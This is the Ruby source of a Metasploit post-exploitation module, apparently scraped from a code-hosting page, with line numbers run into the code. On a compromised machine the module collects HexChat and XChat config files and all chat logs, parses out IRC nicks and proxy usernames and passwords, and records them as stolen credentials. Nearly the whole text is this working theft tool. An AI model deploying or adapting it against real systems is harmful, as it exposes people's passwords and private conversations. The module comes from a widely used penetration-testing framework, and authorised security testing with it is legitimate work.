Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/enum_hexchat.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Exploit::Deprecated89moved_from 'post/linux/gather/enum_xchat'1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Linux Gather HexChat/XChat Enumeration',16'Description' => %q{17This module will collect HexChat and XChat's config files and chat logs from the victim's18machine. There are three actions you may choose: CONFIGS, CHATS, and ALL. The19CONFIGS option can be used to collect information such as channel settings,20channel/server passwords, etc. The CHATS option will simply download all the21.log files.22},23'License' => MSF_LICENSE,24'Author' => ['sinn3r', 'h00die'],25'Platform' => ['linux'],26'SessionTypes' => ['shell', 'meterpreter'],27'Actions' => [28['CONFIGS', { 'Description' => 'Collect config files' } ],29['CHATS', { 'Description' => 'Collect chat logs with a pattern' } ],30['ALL', { 'Description' => 'Collect both the configs and chat logs' }]31],32'DefaultAction' => 'ALL',33'References' => [34['URL', 'https://hexchat.readthedocs.io/en/latest/settings.html']35],36'Notes' => {37'Stability' => [CRASH_SAFE],38'SideEffects' => [IOC_IN_LOGS],39'Reliability' => []40}41)42)43register_options([44OptBool.new('HEXCHAT', [false, 'Enumerate hexchat', true ]),45OptBool.new('XCHAT', [false, 'Enumerate xchat', false ])46])47end4849def whoami50cmd_exec('/usr/bin/whoami').chomp51end5253def sep54if session.platform == 'windows'55return '\\'56else57return '/'58end59end6061def get_paths(mode = 'HEXCHAT')62paths = []63if session.platform == 'windows'64appdata = get_env('APPDATA')65if mode == 'HEXCHAT'66paths << "#{appdata}\\HexChat\\"67elsif datastore['XCHAT']68paths << "#{appdata}\\X-Chat 2\\"69end70else71user = whoami72fail_with(Failure::Unknown, 'Unable to get username.') if user.blank?73vprint_status("Detcted username: #{user}")7475if mode == 'HEXCHAT'76# https://hexchat.readthedocs.io/en/latest/settings.html77paths << "/home/#{user}/.config/hexchat/"78elsif mode == 'XCHAT'79paths << "/home/#{user}/.xchat2/"80end81end82paths83end8485def list_logs(base, mode = 'HEXCHAT')86files = []87if mode == 'HEXCHAT'88# hexchat has a folder for each server89# inside each folder, like 'freenode'90# are files: sever.log, <server>.log, .log91folders = dir base92folders.each do |folder|93file = dir "#{base}#{sep}#{folder}"94file.each do |f|95if f.end_with? '.log'96files << "#{base}#{sep}#{folder}#{sep}#{f}"97end98end99end100elsif mode == 'XCHAT'101file = dir base102file.each do |f|103if f.end_with? '.log'104files << "#{base}#{sep}#{f}"105end106end107end108files109end110111def save(type, data, mode = 'HEXCHAT')112case type113when :configs114type = "#{mode.downcase}.config"115when :chatlogs116type = "#{mode.downcase}.chatlogs"117end118119data.each do |d|120fname = ::File.basename(d[:filename])121p = store_loot(122type,123'text/plain',124session,125d[:data],126fname127)128print_good("#{fname} saved as #{p}")129end130end131132def get_chatlogs(base, mode = 'HEXCHAT')133logs = []134135case mode136when 'XCHAT'137base_logs = "#{base}#{sep}xchatlogs"138when 'HEXCHAT'139base_logs = "#{base}#{sep}logs"140else141vprint_error("Invalid mode: #{mode}")142return logs143end144unless directory? base_logs145vprint_error("Chat logs not found at #{base_logs}")146return logs147end148list_logs(base_logs, mode).each do |l|149vprint_status("Downloading: #{l}")150data = read_file(l)151logs << {152filename: l,153data: data154}155end156logs157end158159def parse_config(conf)160if conf =~ /^irc_user_name = (.+)$/161print_good "IRC nick: #{Regexp.last_match(1)}"162end163if conf =~ /^irc_nick1 = (.+)$/164print_good "IRC nick1: #{Regexp.last_match(1)}"165end166if conf =~ /^irc_nick2 = (.+)$/167print_good "IRC nick2: #{Regexp.last_match(1)}"168end169if conf =~ /^irc_nick3 = (.+)$/170print_good "IRC nick3: #{Regexp.last_match(1)}"171end172/^net_proxy_user = (?<proxyuser>.+)$/ =~ conf173/^net_proxy_pass = (?<proxypass>.+)$/ =~ conf174/^net_proxy_host = (?<proxyhost>.+)$/ =~ conf175/^net_proxy_port = (?<proxyport>.+)$/ =~ conf176unless proxypass.blank? || proxyuser.blank? || proxyhost.blank? || proxyport.blank?177proxyhost.strip!178proxyport.strip!179proxyuser.strip!180proxypass.strip!181print_good("Proxy conf: #{proxyhost}:#{proxyport} -> #{proxyuser}/#{proxypass}")182create_credential_and_login({183address: proxyhost,184port: proxyport,185protocol: 'tcp',186workspace_id: myworkspace_id,187origin_type: :service,188private_type: :password,189private_data: proxypass,190public_data: proxyuser,191service_name: 'proxy',192module_fullname: fullname,193status: Metasploit::Model::Login::Status::UNTRIED194})195end196end197198def get_configs(base, mode = 'HEXCHAT')199config = []200files = []201if mode == 'XCHAT'202files = ['servlist_.conf', 'xchat.conf']203elsif mode == 'HEXCHAT'204files = ['servlist.conf', 'hexchat.conf']205end206files.each do |f|207conf = base + f208unless file? conf209vprint_error("File not found: #{conf}")210next211end212vprint_good("Downloading: #{conf}")213buf = read_file(conf)214next if buf.blank?215216if conf.end_with? 'chat.conf'217parse_config buf218end219config << {220filename: f,221data: buf222}223end224225config226end227228def run229fail_with(Failure::BadConfig, 'Please specify an action.') if action.nil?230231if datastore['XCHAT']232get_paths('XCHAT').each do |base|233unless directory? base234print_error("XChat not installed or used by user. #{base} not found.")235end236237configs = get_configs(base, 'XCHAT') if action.name =~ /ALL|CONFIGS/i238chatlogs = get_chatlogs(base, 'XCHAT') if action.name =~ /ALL|CHATS/i239240save(:configs, configs, 'XCHAT') unless configs.blank?241save(:chatlogs, chatlogs, 'XCHAT') unless chatlogs.blank?242end243end244245if datastore['HEXCHAT']246get_paths.each do |base|247unless directory? base248print_error("HexChat not installed or used by user. #{base} not found.")249end250251configs = get_configs(base) if action.name =~ /ALL|CONFIGS/i252chatlogs = get_chatlogs(base) if action.name =~ /ALL|CHATS/i253254save(:configs, configs) unless configs.blank?255save(:chatlogs, chatlogs) unless chatlogs.blank?256end257end258end259end260261262